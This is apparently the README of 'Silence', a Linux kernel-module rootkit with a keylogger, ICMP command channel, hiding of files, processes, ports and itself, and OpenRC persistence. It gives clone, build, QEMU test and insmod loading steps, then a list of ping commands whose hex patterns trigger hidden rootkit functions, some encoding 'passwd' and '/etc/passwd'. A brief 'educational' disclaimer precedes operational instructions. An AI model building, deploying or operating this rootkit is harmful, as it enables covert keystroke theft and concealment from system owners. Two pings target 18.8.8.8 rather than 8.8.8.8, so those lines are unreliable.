Important
This rootkit is for educational and research purposes only. This project is a prototype, and not fully functionnal.
Kprobe-based LKM rootkit. With ICMP communication and Keylogger.
- ICMP communication
- Keylogger
- File hide
- PID hide
- Port hide
- LKM hide
- Openrc Persistence
git clone https://github.com/MikeHorn-git/Silence
cd Silence
make
Usage: make <target>
Targets:
help Display this help message
all Build LKM
clean Clean LKM
dist Create tar archive release
format Format all .c, .h files with clang-format
Build the rootkit before
mkdir /tmp/qemu-share
cp -r ./src /tmp/qemu-share
cd ./test/qemu
./download.sh
./build.sh <path_to_bzImage>
./run.sh
Default credential is root:password
sh /mount.sh
sh /network.sh
insmod /tmp/share/src/silence.ko
depmod
Important
Do not using ping from Busybox
ping -p <code> -c 1 8.8.8.8
ping -p ca550100000000000000000000000000 -c 1 8.8.8.8
ping -p ff -c 1 8.8.8.8
ping -p ba -c 1 8.8.8.8
ping -p de550100000000000000000000000000 -c 1 8.8.8.8
ping -p ad017061737377640000000000000000 -c 1 8.8.8.8
ping -p ad007061737377640000000000000000 -c 1 8.8.8.8
ping -p fe012f6574632f706173737764000000 -c 1 18.8.8.8
ping -p fe002f6574632f706173737764000000 -c 1 18.8.8.8